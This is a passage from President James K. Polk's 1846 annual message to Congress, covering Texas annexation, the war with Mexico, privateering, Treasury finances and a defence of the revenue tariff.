the\nproposed terms of annexation, and thus consummated on her part the great\nact of restoring to our Federal Union a vast territory which had been ceded\nto Spain by the Florida treaty more than a quarter of a century before.After the joint resolution for the annexation of Texas to the United States\nhad been passed by our Congress the Mexican minister at Washington\naddressed a note to the Secretary of State, bearing date on the 6th of\nMarch, 1845, protesting against it as \"an act of aggression the most unjust\nwhich can be found recorded in the annals of modern history, namely, that\nof despoiling a friendly nation like Mexico of a considerable portion of\nher territory,\" and protesting against the resolution of annexation as\nbeing an act \"whereby the Province of Texas, an integral portion of the\nMexican territory, is agreed and admitted into the American Union;\" and he\nannounced that as a consequence his mission to the United States had\nterminated, and demanded his passports, which were granted. It was upon the\nabsurd pretext, made by Mexico (herself indebted for her independence to a\nsuccessful revolution), that the Republic of Texas still continued to be,\nnotwithstanding all that had passed, a Province of Mexico that this step\nwas taken by the Mexican minister.Every honorable effort has been used by me to avoid the war which followed,\nbut all have proved vain. All our attempts to preserve peace have been met\nby insult and resistance on the part of Mexico. My efforts to this end\ncommenced in the note of the Secretary of State of the 10th of March, 1845,\nin answer to that of the Mexican minister. Whilst declining to reopen a\ndiscussion which had already been exhausted, and proving again what was\nknown to the whole world, that Texas had long since achieved her\nindependence, the Secretary of State expressed the regret of this\nGovernment that Mexico should have taken offense at the resolution of\nannexation passed by Congress, and gave assurance that our \"most strenuous\nefforts shall be devoted to the amicable adjustment of every cause of\ncomplaint between the two Governments and to the cultivation of the kindest\nand most friendly relations between the sister Republics.\" That I have\nacted in the spirit of this assurance will appear from the events which\nhave since occurred. Notwithstanding Mexico had abruptly terminated all\ndiplomatic intercourse with the United States, and ought, therefore, to\nhave been the first to ask for its resumption, yet, waiving all ceremony, I\nembraced the earliest favorable opportunity \"to ascertain from the Mexican\nGovernment whether they would receive an envoy from the United States\nintrusted with full power to adjust all the questions in dispute between\nthe two Governments.\" In September, 1845, I believed the propitious moment\nfor such an overture had arrived. Texas, by the enthusiastic and almost\nunanimous will of her people, had pronounced in favor of annexation. Mexico\nherself had agreed to acknowledge the independence of Texas, subject to a\ncondition, it is true, which she had no right to impose and no power to\nenforce. The last lingering hope of Mexico, if she still could have\nretained any, that Texas would ever again become one of her Provinces, must\nhave been abandoned.The consul of the United States at the City of Mexico was therefore\ninstructed by the Secretary of State on the 15th of September, 1845, to\nmake the inquiry of the Mexican Government. The inquiry was made, and on\nthe 15th of October, 1845, the minister of foreign affairs of the Mexican\nGovernment, in a note addressed to our consul, gave a favorable response,\nrequesting at the same time that our naval force might be withdrawn from\nVera Cruz while negotiations should be pending. Upon the receipt of this\nnote our naval force was promptly withdrawn from Vera Cruz. A minister was\nimmediately appointed, and departed to Mexico. Everything bore a promising\naspect for a speedy and peaceful adjustment of all our difficulties. At the\ndate of my annual message to Congress in December last no doubt was\nentertained but that he would be received by the Mexican Government, and\nthe hope was cherished that all cause of misunderstanding between the two\ncountries would be speedily removed. In the confident hope that such would\nbe the result of his mission, I informed Congress that I forbore at that\ntime to \"recommend such ulterior measures of redress for the wrongs and\ninjuries we had so long borne as it would have been proper to make had no\nsuch negotiation been instituted.\" To my surprise and regret the Mexican\nGovernment, though solemnly pledged to do so, upon the arrival of our\nminister in Mexico refused to receive and accredit him. When he reached\nVera Cruz, on the 30th of November, 1845, he found that the aspect of\naffairs had undergone an unhappy change. The Government of General Herrera,\nwho was at that time President of the Republic, was tottering to its fall.\nGeneral Paredes, a military leader, had manifested his determination to\noverthrow the Government of Herrera by a military revolution, and one of\nthe principal means which he employed to effect his purpose and render the\nGovernment of Herrera odious to the army and people of Mexico was by loudly\ncondemning its determination to receive a minister of peace from the United\nStates, alleging that it was the intention of Herrera, by a treaty with the\nUnited States, to dismember the territory of Mexico by ceding away the\ndepartment of Texas. The Government of Herrera is believed to have been\nwell disposed to a pacific adjustment of existing difficulties, but\nprobably alarmed for its own security, and in order to ward off the danger\nof the revolution led by Paredes, violated its solemn agreement and refused\nto receive or accredit our minister; and this although informed that he had\nbeen invested with full power to adjust all questions in dispute between\nthe two Governments. Among the frivolous pretexts for this refusal, the\nprincipal one was that our minister had not gone upon a special mission\nconfined to the question of Texas alone, leaving all the outrages upon our\nflag and our citizens unredressed. The Mexican Government well knew that\nboth our national honor and the protection due to our citizens imperatively\nrequired that the two questions of boundary and indemnity should be treated\nof together, as naturally and inseparably blended, and they ought to have\nseen that this course was best calculated to enable the United States to\nextend to them the most liberal justice. On the 30th of December, 1845,\nGeneral Herrera resigned the Presidency and yielded up the Government to\nGeneral Paredes without a struggle. Thus a revolution was accomplished\nsolely by the army commanded by Paredes, and the supreme power in Mexico\npassed into the hands of a military usurper who was known to be bitterly\nhostile to the United States.Although the prospect of a pacific adjustment with the new Government was\nunpromising from the known hostility of its head to the United States, yet,\ndetermined that nothing should be left undone on our part to restore\nfriendly relations between the two countries, our minister was instructed\nto present his credentials to the new Government and ask to be accredited\nby it in the diplomatic character in which he had been commissioned. These\ninstructions he executed by his note of the 1st of March, 1846, addressed\nto the Mexican minister of foreign affairs, but his request was insultingly\nrefused by that minister in his answer of the 12th of the same month. No\nalternative remained for our minister but to demand his passports and\nreturn to the United States.Thus was the extraordinary spectacle presented to the civilized world of a\nGovernment, in violation of its own express agreement, having twice\nrejected a minister of peace invested with full powers to adjust all the\nexisting differences between the two countries in a manner just and\nhonorable to both. I am not aware that modern history presents a parallel\ncase in which in time of peace one nation has refused even to hear\npropositions from another for terminating existing difficulties between\nthem. Scarcely a hope of adjusting our difficulties, even at a remote day,\nor of preserving peace with Mexico, could be cherished while Paredes\nremained at the head of the Government. He had acquired the supreme power\nby a military revolution and upon the most solemn pledges to wage war\nagainst the United States and to reconquer Texas, which he claimed as a\nrevolted province of Mexico. He had denounced as guilty of treason all\nthose Mexicans who considered Texas as no longer constituting a part of the\nterritory of Mexico and who were friendly to the cause of peace. The\nduration of the war which he waged against the United States was\nindefinite, because the end which he proposed of the reconquest of Texas\nwas hopeless. Besides, there was good reason to believe from all his\nconduct that it was his intention to convert the Republic of Mexico into a\nmonarchy and to call a foreign European prince to the throne. Preparatory\nto this end, he had during his short rule destroyed the liberty of the\npress, tolerating that portion of it only which openly advocated the\nestablishment of a monarchy. The better to secure the success of his\nultimate designs, he had by an arbitrary decree convoked a Congress, not to\nbe elected by the free voice of the people, but to be chosen in a manner to\nmake them subservient to his will and to give him absolute control over\ntheir deliberations.Under all these circumstances it was believed that any revolution in Mexico\nfounded upon opposition to the ambitious projects of Paredes would tend to\npromote the cause of peace as well as prevent any attempted European\ninterference in the affairs of the North American continent, both objects\nof deep interest to the United States. Any such foreign interference, if\nattempted, must have been resisted by the United States. My views upon that\nsubject were fully communicated to Congress in my last annual message. In\nany event, it was certain that no change whatever in the Government of\nMexico which would deprive Paredes of power could be for the worse so far\nas the United States were concerned, while it was highly probable that any\nchange must be for the better. This was the state of affairs existing when\nCongress, on the 13th of May last, recognized the existence of the war\nwhich had been commenced by the Government of Paredes; and it became an\nobject of much importance, with a view to a speedy settlement of our\ndifficulties and the restoration of an honorable peace, that Paredes should\nnot retain power in Mexico.Before that time there were symptoms of a revolution in Mexico, favored, as\nit was understood to be, by the more liberal party, and especially by those\nwho were opposed to foreign interference and to the monarchical form of\ngovernment. Santa Anna was then in exile in Havana, having been expelled\nfrom power and banished from his country by a revolution which occurred in\nDecember, 1844; but it was known that he had still a considerable party in\nhis favor in Mexico. It was also equally well known that no vigilance which\ncould be exerted by our squadron would in all probability have prevented\nhim from effecting a landing somewhere on the extensive Gulf coast of\nMexico if he desired to return to his country. He had openly professed an\nentire change of policy, had expressed his regret that he had subverted the\nfederal constitution of 1824, and avowed that he was now in favor of its\nrestoration. He had publicly declared his hostility, in strongest terms, to\nthe establishment of a monarchy and to European interference in the affairs\nof his country. Information to this effect had been received, from sources\nbelieved to be reliable, at the date of the recognition of the existence of\nthe war by Congress, and was afterwards fully confirmed by the receipt of\nthe dispatch of our consul in the City of Mexico, with the accompanying\ndocuments, which are herewith transmitted. Besides, it was reasonable to\nsuppose that he must see the ruinous consequences to Mexico of a war with\nthe United States, and that it would be his interest to favor peace.It was under these circumstances and upon these considerations that it was\ndeemed expedient not to obstruct his return to Mexico should he attempt to\ndo so. Our object was the restoration of peace, and, with that view, no\nreason was perceived why we should take part with Paredes and aid him by\nmeans of our blockade in preventing the return of his rival to Mexico. On\nthe contrary, it was believed that the intestine divisions which ordinary\nsagacity could not but anticipate as the fruit of Santa Anna's return to\nMexico, and his contest with Paredes, might strongly tend to produce a\ndisposition with both parties to restore and preserve peace with the United\nStates. Paredes was a soldier by profession and a monarchist in principle.\nHe had but recently before been successful in a military revolution, by\nwhich he had obtained power. He was the sworn enemy of the United States,\nwith which he had involved his country in the existing war. Santa Anna had\nbeen expelled from power by the army, was known to be in open hostility to\nParedes, and publicly pledged against foreign intervention and the\nrestoration of monarchy in Mexico. In view of these facts and circumstances\nit was that when orders were issued to the commander of our naval forces in\nthe Gulf, on the 13th day of May last, the same day on which the existence\nof the war was recognized by Congress, to place the coasts of Mexico under\nblockade, he was directed not to obstruct the passage of Santa Anna to\nMexico should he attempt to return.A revolution took place in Mexico in the early part of August following, by\nwhich the power of Paredes was overthrown, and he has since been banished\nfrom the country, and is now in exile. Shortly afterwards Santa Anna\nreturned. It remains to be seen whether his return may not yet prove to be\nfavorable to a pacific adjustment of the existing difficulties, it being\nmanifestly his interest not to persevere in the prosecution of a war\ncommenced by Paredes to accomplish a purpose so absurd as the reconquest of\nTexas to the Sabine. Had Paredes remained in power, it is morally certain\nthat any pacific adjustment would have been hopeless.Upon the commencement of hostilities by Mexico against the United States\nthe indignant spirit of the nation was at once aroused. Congress promptly\nresponded to the expectations of the country, and by the act of the 13th of\nMay last recognized the fact that war existed, by the act of Mexico,\nbetween the United States and that Republic, and granted the means\nnecessary for its vigorous prosecution. Being involved in a war thus\ncommenced by Mexico, and for the justice of which on our part we may\nconfidently appeal to the whole world, I resolved to prosecute it with the\nutmost vigor. Accordingly the ports of Mexico on the Gulf and on the\nPacific have been placed under blockade and her territory invaded at\nseveral important points. The reports from the Departments of War and of\nthe Navy will inform you more in detail of the measures adopted in the\nemergency in which our country was placed and of the gratifying results\nwhich have been accomplished.The various columns of the Army have performed their duty under great\ndisadvantages with the most distinguished skill and courage. The victories\nof Palo Alto and Resaca de la Palma and of Monterey, won against greatly\nsuperior numbers and against most decided advantages in other respects on\nthe part of the enemy, were brilliant in their execution, and entitle our\nbrave officers and soldiers to the grateful thanks of their country. The\nnation deplores the loss of the brave officers and men who have gallantly\nfallen while vindicating and defending their country's rights and honor.It is a subject of pride and satisfaction that our volunteer citizen\nsoldiers, who so promptly responded to their country's call, with an\nexperience of the discipline of a camp of only a few weeks, have borne\ntheir part in the hard-fought battle of Monterey with a constancy and\ncourage equal to that of veteran troops and worthy of the highest\nadmiration. The privations of long marches through the enemy's country and\nthrough a wilderness have been borne without a murmur. By rapid movements\nthe Province of New Mexico, with Santa Fe, its capital, has been captured\nwithout bloodshed. The Navy has cooperated with the Army and rendered\nimportant services; if not so brilliant, it is because the enemy had no\nforce to meet them on their own element and because of the defenses which\nnature has interposed in the difficulties of the navigation on the Mexican\ncoast. Our squadron in the Pacific, with the cooperation of a gallant\nofficer of the Army and a small force hastily collected in that distant\ncountry, has acquired bloodless possession of the Californias, and the\nAmerican flag has been raised at every important point in that Province.I congratulate you on the success which has thus attended our military and\nnaval operations. In less than seven months after Mexico commenced\nhostilities, at a time selected by herself, we have taken possession of\nmany of her principal ports, driven back and pursued her invading army, and\nacquired military possession of the Mexican Provinces of New Mexico, New\nLeon, Coahuila, Tamaulipas, and the Californias, a territory larger in\nextent than that embraced in the original thirteen States of the Union,\ninhabited by a considerable population, and much of it more than 1,000\nmiles from the points at which we had to collect our forces and commence\nour movements. By the blockade the import and export trade of the enemy has\nbeen cut off. Well may the American people be proud of the energy and\ngallantry of our regular and volunteer officers and soldiers. The events of\nthese few months afford a gratifying proof that our country can under any\nemergency confidently rely for the maintenance of her honor and the defense\nof her rights on an effective force, ready at all times voluntarily to\nrelinquish the comforts of home for the perils and privations of the camp.\nAnd though such a force may be for the time expensive, it is in the end\neconomical, as the ability to command it removes the necessity of employing\na large standing army in time of peace, and proves that our people love\ntheir institutions and are ever ready to defend and protect them.While the war was in a course of vigorous and successful prosecution, being\nstill anxious to arrest its evils, and considering that after the brilliant\nvictories of our arms on the 8th and 9th of May last the national honor\ncould not be compromitted by it, another overture was made to Mexico, by my\ndirection, on the 27th of July last to terminate hostilities by a peace\njust and honorable to both countries. On the 31st of August following the\nMexican Government declined to accept this friendly overture, but referred\nit to the decision of a Mexican Congress to be assembled in the early part\nof the present month. I communicate to you herewith a copy of the letter of\nthe Secretary of State proposing to reopen negotiations, of the answer of\nthe Mexican Government, and of the reply thereto of the Secretary of\nState,The war will continue to be prosecuted with vigor as the best means of\nsecuring peace. It is hoped that the decision of the Mexican Congress, to\nwhich our last overture has been referred, may result in a speedy and\nhonorable peace. With our experience, however, of the unreasonable course\nof the Mexican authorities, it is the part of wisdom not to relax in the\nenergy of our military operations until the result is made known. In this\nview it is deemed important to hold military possession of all the\nProvinces which have been taken until a definitive treaty of peace shall\nhave been concluded and ratified by the two countries.The war has not been waged with a view to conquest, but, having been\ncommenced by Mexico, it has been carried into the enemy's country and will\nbe vigorously prosecuted there with a view to obtain an honorable peace,\nand thereby secure ample indemnity for the expenses of the war, as well as\nto our much-injured citizens, who hold large pecuniary demands against\nMexico.By the laws of nations a conquered country is subject to be governed by the\nconqueror during his military possession and until there is either a treaty\nof peace or he shall voluntarily withdraw from it. The old civil government\nbeing necessarily superseded, it is the right and duty of the conqueror to\nsecure his conquest and to provide for the maintenance of civil order and\nthe rights of the inhabitants. This right has been exercised and this duty\nperformed by our military and naval commanders by the establishment of\ntemporary governments in some of the conquered Provinces of Mexico,\nassimilating them as far as practicable to the free institutions of our own\ncountry. In the Provinces of New Mexico and of the Californias little, if\nany, further resistance is apprehended from the inhabitants to the\ntemporary governments which have thus, from the necessity of the case and\naccording to the laws of war, been established. It may be proper to provide\nfor the security of these important conquests by making an adequate\nappropriation for the purpose of erecting fortifications and defraying the\nexpenses necessarily incident to the maintenance of our possession and\nauthority over them.Near the close of your last session, for reasons communicated to Congress,\nI deemed it important as a measure for securing a speedy peace with Mexico,\nthat a sum of money should be appropriated and placed in the power of the\nExecutive, similar to that which had been made upon two former occasions\nduring the Administration of President Jefferson.On the 26th of February, 1803, an appropriation of $2,000.000 was made and\nplaced at the disposal of the President. Its object is well known. It was\nat that time in contemplation to acquire Louisiana from France, and it was\nintended to be applied as a part of the consideration which might be paid\nfor that territory. On the 13th of February, 1806, the same sum was in like\nmanner appropriated, with a view to the purchase of the Floridas from\nSpain. These appropriations were made to facilitate negotiations and as a\nmeans to enable the President to accomplish the important objects in view.\nThough it did not become necessary for the President to use these\nappropriations, yet a state of things might have arisen in which it would\nhave been highly important for him to do so, and the wisdom of making them\ncan not be doubted. It is believed that the measure recommended at your\nlast session met with the approbation of decided majorities in both Houses\nof Congress. Indeed, in different forms, a bill making an appropriation of\n$2,000,000 passed each House, and it is much to be regretted that it did\nnot become a law. The reasons which induced me to recommend the measure at\nthat time still exist, and I again submit the subject for your\nconsideration and suggest the importance of early action upon it. Should\nthe appropriation be made and be not needed, it will remain in the\nTreasury; should it be deemed proper to apply it in whole or in part, it\nwill be accounted for as other public expenditures.Immediately after Congress had recognized the existence of the war with\nMexico my attention was directed to the danger that privateers might be\nfitted out in the ports of Cuba and Porto Rico to prey upon the commerce of\nthe United States, and I invited the special attention of the Spanish\nGovernment to the fourteenth article of our treaty with that power of the\n27th of October, 1795, under which the citizens and subjects of either\nnation who shall take commissions or letters of marque to act as privateers\nagainst the other \"shall be punished as pirates.\"It affords me pleasure to inform you that I have received assurances from\nthe Spanish Government that this article of the treaty shall be faithfully\nobserved on its part. Orders for this purpose were immediately transmitted\nfrom that Government to the authorities of Cuba and Porto Rico to exert\ntheir utmost vigilance in preventing any attempts to fit out privateers in\nthose islands against the United States. From the good faith of Spain I am\nfully satisfied that this treaty will be executed in its spirit as well as\nits letter, whilst the United States will on their part faithfully perform\nall the obligations which it imposes on them.Information has been recently received at the Department of State that the\nMexican Government has sent to Havana blank commissions to privateers and\nblank certificates of naturalization signed by General Salas, the present\nhead of the Mexican Government. There is also reason to apprehend that\nsimilar documents have been transmitted to other parts of the world. Copies\nof these papers, in translation, are herewith transmitted.As the preliminaries required by the practice of civilized nations for\ncommissioning privateers and regulating their conduct appear not to have\nbeen observed, and as these commissions are in blank, to be filled up with\nthe names of citizens and subjects of all nations who may be willing to\npurchase them, the whole proceeding can only be construed as an invitation\nto all the freebooters upon earth who are willing to pay for the privilege\nto cruise against American commerce. It will be for our courts of justice\nto decide whether under such circumstances these Mexican letters of marque\nand reprisal shall protect those who accept them, and commit robberies upon\nthe high seas under their authority, from the pains and penalties of\npiracy.If the certificates of naturalization thus granted be intended by Mexico to\nshield Spanish subjects from the guilt and punishment of pirates under our\ntreaty with Spain, they will certainly prove unavailing. Such a subterfuge\nwould be but a weak device to defeat the provisions of a solemn treaty.I recommend that Congress should immediately provide by law for the trial\nand punishment as pirates of Spanish subjects who, escaping the vigilance\nof their Government, shall be found guilty of privateering against the\nUnited States. I do not apprehend serious danger from these privateers. Our\nNavy will be constantly on the alert to protect our commerce. Besides, in\ncase prizes should be made of American vessels, the utmost vigilance will\nbe exerted by our blockading squadron to prevent the captors from taking\nthem into Mexican ports, and it is not apprehended that any nation will\nviolate its neutrality by suffering such prizes to be condemned and sold\nwithin its jurisdiction.I recommend that Congress should immediately provide by law for granting\nletters of marque and reprisal against vessels under the Mexican flag. It\nis true that there are but few, if any, commercial vessels of Mexico upon\nthe high seas, and it is therefore not probable that many American\nprivateers would be fitted out in case a law should pass authorizing this\nmode of warfare. It is, notwithstanding, certain that such privateers may\nrender good service to the commercial interests of the country by\nrecapturing our merchant ships should any be taken by armed vessels under\nthe Mexican flag, as well as by capturing these vessels themselves. Every\nmeans within our power should be rendered available for the protection of\nour commerce.The annual report of the Secretary of the Treasury will exhibit a detailed\nstatement of the condition of the finances. The imports for the fiscal year\nending on the 30th of June last were of the value of $121,691,797, of which\nthe amount exported was $11,346,623, leaving the amount retained in the\ncountry for domestic consumption $110,345,174. The value of the exports for\nthe same period was $113,488,516, of which $102,141,893 consisted of\ndomestic productions and $11,346,623 of foreign articles.The receipts into the Treasury for the same year were $29,499,247.06, of\nwhich there was derived from customs $26,712,667.87, from the sales of\npublic lands $2,694,452.48, and from incidental and miscellaneous sources\n$92,126.71. The expenditures for the same period were $28,031,114.20, and\nthe balance in the Treasury on the 1st day of July last was $9,126,439.\n08.The amount of the public debt, including Treasury notes, on the 1st of the\npresent month was $24,256,494.60, of which the sum of $17,788,799.62 was\noutstanding on the 4th of March, 1845, leaving the amount incurred since\nthat time $6,467,694.98.In order to prosecute the war with Mexico with vigor and energy, as the\nbest means of bringing it to a speedy and honorable termination, a further\nloan will be necessary to meet the expenditures for the present and the\nnext fiscal year. If the war should be continued until the 30th of June,\n1848, being the end of the next fiscal year, it is estimated that an\nadditional loan of $23,000,000 will be required. This estimate is made upon\nthe assumption that it will be necessary to retain constantly in the\nTreasury $4,000,000 to guard against contingencies. If such surplus were\nnot required to be retained, then a loan of $19,000,000 would be\nsufficient. If, however, Congress should at the present session impose a\nrevenue duty on the principal articles now embraced in the free list, it is\nestimated that an additional annual revenue of about two millions and a\nhalf, amounting, it is estimated, on the 30th of June, 1848, to $4,000,000,\nwould be derived from that source, and the loan required would be reduced\nby that amount. It is estimated also that should Congress graduate and\nreduce the price of such of the public lands as have been long in the\nmarket the additional revenue derived from that source would be annually,\nfor several years to come, between half a million and a million dollars;\nand the loan required may be reduced by that amount also. Should these\nmeasures be adopted, the loan required would not probably exceed\n$18,000,000 or $19,000,000, leaving in the Treasury a constant surplus of\n$4,000,000. The loan proposed, it is estimated, will be sufficient to cover\nthe necessary expenditures both for the war and for all other purposes up\nto the 30th of June, 1848, and an amount of this loan not exceeding\none-half may be required during the present fiscal year, and the greater\npart of the remainder during the first half of the fiscal year succeeding.In order that timely notice may be given and proper measures taken to\neffect the loan, or such portion of it as may be required, it is important\nthat the authority of Congress to make it be given at an early period of\nyour present session. It is suggested that the loan should be contracted\nfor a period of twenty years, with authority to purchase the stock and pay\nit off at an earlier period at its market value out of any surplus which\nmay at any time be in the Treasury applicable to that purpose. After the\nestablishment of peace with Mexico, it is supposed that a considerable\nsurplus will exist, and that the debt may be extinguished in a much shorter\nperiod than that for which it may be contracted. The period of twenty\nyears, as that for which the proposed loan may be contracted, in preference\nto a shorter period, is suggested, because all experience, both at home and\nabroad, has shown that loans are effected upon much better terms upon long\ntime than when they are reimbursable at short dates.Necessary as this measure is to sustain the honor and the interests of the\ncountry engaged in a foreign war, it is not doubted but that Congress will\npromptly authorize it.The balance in the Treasury on the 1st July last exceeded $9,000,000,\nnotwithstanding considerable expenditures had been made for the war during\nthe months of May and June preceding. But for the war the whole public debt\ncould and would have been extinguished within a short period; and it was a\npart of my settled policy to do so, and thus relieve the people from its\nburden and place the Government in a position which would enable it to\nreduce the public expenditures to that economical standard which is most\nconsistent with the general welfare and the pure and wholesome progress of\nour institutions.Among our just causes of complaint against Mexico arising out of her\nrefusal to treat for peace, as well before as since the war so unjustly\ncommenced on her part, are the extraordinary expenditures in which we have\nbeen involved. Justice to our own people will make it proper that Mexico\nshould be held responsible for these expenditures.Economy in the public expenditures is at all times a high duty which all\npublic functionaries of the Government owe to the people. This duty becomes\nthe more imperative in a period of war, when large and extraordinary\nexpenditures become unavoidable. During the existence of the war with\nMexico all our resources should be husbanded, and no appropriations made\nexcept such as are absolutely necessary for its vigorous prosecution and\nthe due administration of the Government. Objects of appropriation which in\npeace may be deemed useful or proper, but which are not indispensable for\nthe public service, may when the country is engaged in a foreign war be\nwell postponed to a future period. By the observance of this policy at your\npresent session large amounts may be saved to the Treasury and be applied\nto objects of pressing and urgent necessity, and thus the creation of a\ncorresponding amount of public debt may be avoided.It is not meant to recommend that the ordinary and necessary appropriations\nfor the support of Government should be withheld; but it is well known that\nat every session of Congress appropriations are proposed for numerous\nobjects which may or may not be made without materially affecting the\npublic interests, and these it is recommended should not be granted.The act passed at your last session \"reducing the duties on imports\" not\nhaving gone into operation until the 1st of the present month, there has\nnot been time for its practical effect upon the revenue and the business of\nthe country to be developed. It is not doubted, however, that the just\npolicy which it adopts will add largely to our foreign trade and promote\nthe general prosperity. Although it can not be certainly foreseen what\namount of revenue it will yield, it is estimated that it will exceed that\nproduced by the act of 1842, which it superseded. The leading principles\nestablished by it are to levy the taxes with a view to raise revenue and to\nimpose them upon the articles imported according to their actual value.The act of 1842, by the excessive rates of duty which it imposed on many\narticles, either totally excluded them from importation or greatly reduced\nthe amount imported, and thus diminished instead of producing revenue. By\nit the taxes were imposed not for the legitimate purpose of raising\nrevenue, but to afford advantages to favored classes at the expense of a\nlarge majority of their fellow-citizens. Those employed in agriculture,\nmechanical pursuits, commerce, and navigation were compelled to contribute\nfrom their substance to swell the profits and overgrown wealth of the\ncomparatively few who had invested their capital in manufactures. The taxes\nwere not levied in proportion to the value of the articles upon which they\nwere imposed, but, widely departing from this just rule, the lighter taxes\nwere in many cases levied upon articles of luxury and high price and the\nheavier taxes on those of necessity and low price, consumed by the great\nmass of the people. It was a system the inevitable effect of which was to\nrelieve favored classes and the wealthy few from contributing their just\nproportion for the support of Government, and to lay the burden on the\nlabor of the many engaged in other pursuits than manufactures.A system so unequal and unjust has been superseded by the existing law,\nwhich imposes duties not for the benefit or injury of classes or pursuits,\nbut distributes and, as far as practicable, equalizes the public burdens\namong all classes and occupations. The favored classes who under the\nunequal and unjust system which has been repealed have heretofore realized\nlarge profits, and many of them amassed large fortunes at the expense of\nthe many who have been made tributary to them, will have no reason to\ncomplain if they shall be required to bear their just proportion of the\ntaxes necessary for the support of Government. So far from it, it will be\nperceived by an examination of the existing law that discriminations in the\nrates of duty imposed within the revenue principle have been retained in\ntheir favor. The incidental aid against foreign competition which they\nstill enjoy gives them an advantage which no other pursuits possess, but of\nthis none others will complain, because the duties levied are necessary for\nrevenue. These revenue duties, including freights and charges, which the\nimporter must pay before he can come in competition with the home\nmanufacturer in our markets, amount on nearly all our leading branches of\nmanufacture to more than one-third of the value of the imported article,\nand in some cases to almost one-half its value. With such advantages it is\nnot doubted that our domestic manufacturers will continue to prosper,\nrealizing in well-conducted establishments even greater profits than can be\nderived from any other regular business. Indeed, so far from requiring the\nprotection of even incidental revenue duties, our manufacturers in several\nleading branches are extending their business, giving evidence of great\ningenuity and skill and of their ability to compete, with increased\nprospect of success, for the open market of the world. Domestic\nmanufactures to the value of several millions of dollars, which can not\nfind a market at home, are annually exported to foreign countries. With\nsuch rates of duty as those established by the existing law the system will\nprobably be permanent, and capitalists who are made or shall hereafter make\ntheir investments in manufactures will know upon what to rely. The country\nwill be satisfied with these rates, because the advantages which the\nmanufacturers still enjoy result necessarily from the collection of revenue\nfor the support of Government. High protective duties, from their unjust\noperation upon the masses of the people, can not fail to give rise to\nextensive dissatisfaction and complaint and to constant efforts to change\nor repeal them, rendering all investments in manufactures uncertain and\nprecarious. Lower and more permanent rates of duty, at the same time that\nthey will yield to the manufacturer fair and remunerating profits, will\nsecure him against the danger of frequent changes in the system, which can\nnot fail to ruinously affect his interests.Simultaneously with the relaxation of the restrictive policy by the United\nStates, Great Britain, from whose example we derived the system, has\nrelaxed hers. She has modified her corn laws and reduced many other duties\nto moderate revenue rates. After ages of experience the statesmen of that\ncountry have been constrained by a stern necessity and by a public opinion\nhaving its deep foundation in the sufferings and wants of impoverished\nmillions to abandon a system the effect of which was to build up immense\nfortunes in the hands of the few and to reduce the laboring millions to\npauperism and misery. Nearly in the same ratio that labor was depressed\ncapital was increased and concentrated by the British protective policy.The evils of the system in Great Britain were at length rendered\nintolerable, and it has been abandoned, but not without a severe struggle\non the part of the protected and favored classes to retain the unjust\nadvantages which they have so long enjoyed. It was to be expected that a\nsimilar struggle would be made by the same classes in the United States\nwhenever an attempt was made to modify or abolish the same unjust system\nhere. The protective policy had been in operation in the United States for\na much shorter period, and its pernicious effects were not, therefore, so\nclearly perceived and felt. Enough, however, was known of these effects to\ninduce its repeal.It would be strange if in the face of the example of Great Britain, our\nprincipal foreign customer, and of the evils of a system rendered manifest\nin that country by long and painful experience, and in the face of the\nimmense advantages which under a more liberal commercial policy we are\nalready deriving, and must continue to derive, by supplying her starving\npopulation with food, the United States should restore a policy which she\nhas been compelled to abandon, and thus diminish her ability to purchase\nfrom us the food and other articles which she so much needs and we so much\ndesire to sell. By the simultaneous abandonment of the protective policy by\nGreat Britain and the United States new and important markets have already\nbeen opened for our agricultural and other products, commerce and\nnavigation have received a new impulse, labor and trade have been released\nfrom the artificial trammels which have so long fettered them, and to a\ngreat extent reciprocity in the exchange of commodities has been introduced\nat the same time by both countries, and greatly for the benefit of both.\nGreat Britain has been forced by the pressure of circumstances at home to\nabandon a policy which has been upheld for ages, and to open her markets\nfor our immense surplus of breadstuffs, and it is confidently believed that\nother powers of Europe will ultimately see the wisdom, if they be not\ncompelled by the pauperism and sufferings of their crowded population, to\npursue a similar policy.Our farmers are more deeply interested in maintaining the just and liberal\npolicy of the existing law than any other class of our citizens. They\nconstitute a large majority of our population, and it is well known that\nwhen they prosper all other pursuits prosper also. They have heretofore not\nonly received none of the bounties or favors of Government, but by the\nunequal operations of the protective policy have been made by the burdens\nof taxation which it imposed to contribute to the bounties which have\nenriched others.When a foreign as well as a home market is opened to them, they must\nreceive, as they are now receiving, increased prices for their products.\nThey will find a readier sale, and at better prices, for their wheat,\nflour, rice, Indian corn, beef, pork, lard, butter, cheese, and other\narticles which they produce. The home market alone is inadequate to enable\nthem to dispose of the immense surplus of food and other articles which\nthey are capable of producing, even at the most reduced prices, for the\nmanifest reason that they can not be consumed in the country. The United\nStates can from their immense surplus supply not only the home demand, but\nthe deficiencies of food required by the whole world.That the reduced production of some of the chief articles of food in Great\nBritain and other parts of Europe may have contributed to increase the\ndemand for our breadstuffs and provisions is not doubted, but that the\ngreat and efficient cause of this increased demand and of increased prices\nconsists in the removal of artificial restrictions heretofore imposed is\ndeemed to be equally certain. That our exports of food, already increased\nand increasing beyond former example under the more liberal policy which\nhas been adopted, will be still vastly enlarged unless they be checked or\nprevented by a restoration of the protective policy can not be doubted.\nThat our commercial and navigating interests will be enlarged in a\ncorresponding ratio with the increase of our trade is equally certain,\nwhile our manufacturing interests will still be the favored interests of\nthe country and receive the incidental protection afforded them by revenue\nduties; and more than this they can not justly demand.In my annual message of December last a tariff of revenue duties based upon\nthe principles of the existing law was recommended, and I have seen no\nreason to change the opinions then expressed. In view of the probable\nbeneficial effects of that law, I recommend that the policy established by\nit be maintained. It has but just commenced to operate, and to abandon or\nmodify it without giving it a fair trial would be inexpedient and unwise.\nShould defects in any of its details be ascertained by actual experience to\nexist, these may be hereafter corrected; but until such defects shall\nbecome manifest the act should be fairly tested.It is submitted for your consideration whether it may not be proper, as a\nwar measure, to impose revenue duties on some of the articles now embraced\nin the free list. Should it be deemed proper to impose such duties with a\nview to raise revenue to meet the expenses of the war with Mexico or to\navoid to that extent the creation of a public debt, they may be repealed\nwhen the emergency which gave rise to them shall cease to exist, and\nconstitute no part of the permanent policy of the country.The act of the 6th of August last, \"to provide for the better organization\nof the Treasury and for the collection, safe-keeping, transfer, and\ndisbursement of the public revenue,\" has been carried into execution as\nrapidly as the delay necessarily arising out of the appointment of new\nofficers, taking and approving their bonds, and preparing and securing\nproper places for the safe-keeping of the public money would permit. It is\nnot proposed to depart in any respect from the principles or policy on\nwhich this great measure is rounded. There are, however, defects in the\ndetails of the measure, developed by its practical operation, which are\nfully set forth in the report of the Secretary of the Treasury, to which\nthe attention of 